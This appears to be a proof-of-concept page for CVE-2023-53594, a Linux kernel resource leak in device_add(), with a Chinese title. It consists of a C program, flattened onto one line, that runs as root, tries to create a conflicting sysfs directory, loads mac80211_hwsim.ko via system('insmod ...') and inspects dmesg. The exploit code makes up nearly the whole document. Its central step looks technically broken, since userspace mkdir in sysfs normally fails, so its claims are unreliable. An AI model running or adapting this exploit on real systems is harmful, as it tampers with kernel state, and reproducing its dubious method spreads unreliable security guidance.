CVE-2023-53594 Linux内核驱动核心device_add()资源泄漏漏洞

// PoC for CVE-2023-53594 - Linux kernel driver core resource leak // This PoC demonstrates how to trigger the resource leak by loading // mac80211_hwsim.ko module when a duplicate sysfs entry already exists. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> /* * Step 1: First, create a duplicate sysfs entry to simulate the conflict * This creates the condition where kobject_add() will fail with -EEXIST */ int create_duplicate_sysfs_entry() { // Create the sysfs path that will conflict with mac80211_hwsim const char *conflict_path = "/sys/devices/virtual/mac80211_hwsim"; // Attempt to create directory (requires root) if (mkdir(conflict_path, 0755) != 0) { perror("mkdir"); return -1; } printf("Created conflicting sysfs entry at: %s\n", conflict_path); return 0; } /* * Step 2: Trigger the vulnerability by attempting to load mac80211_hwsim * This will cause kobject_add() to fail with -EEXIST, triggering the * resource leak in device_add() */ int trigger_vulnerability() { printf("Attempting to load mac80211_hwsim.ko module...\n"); // Use insmod to load the module - this will trigger device_add() // and cause the kobject_add() failure path int ret = system("insmod /lib/modules/$(uname -r)/kernel/drivers/net/wireless/mac80211_hwsim.ko"); if (ret != 0) { printf("Module load failed as expected (triggering the vulnerability)\n"); printf("Check dmesg for: 'sysfs: cannot create duplicate filename'\n"); printf("Check dmesg for: 'kobject_add_internal failed for mac80211_hwsim'\n"); return 0; } return -1; } /* * Step 3: Verify the resource leak by checking kernel logs */ void verify_leak() { printf("\nChecking kernel logs for evidence of the vulnerability:\n"); system("dmesg | grep -A 20 'cannot create duplicate filename' | head -30"); // Check for leaked kobject references printf("\nChecking sysfs for leaked entries:\n"); system("ls -la /sys/devices/virtual/ | grep mac80211"); } int main(int argc, char *argv[]) { printf("=== CVE-2023-53594 PoC ===\n"); printf("Linux Kernel driver core resource leak in device_add()\n\n"); if (getuid() != 0) { printf("This PoC requires root privileges.\n"); printf("Please run as root or with sudo.\n"); return 1; } // Create the conflicting sysfs entry first if (create_duplicate_sysfs_entry() != 0) { printf("Failed to create conflicting entry.\n"); printf("The module may already be loaded or entry may exist.\n"); } // Trigger the vulnerability trigger_vulnerability(); // Verify and show evidence verify_leak(); printf("\n=== PoC completed ===\n"); printf("The resource leak has been triggered.\n"); printf("Reference counts for the parent kobject were not properly released.\n"); return 0; }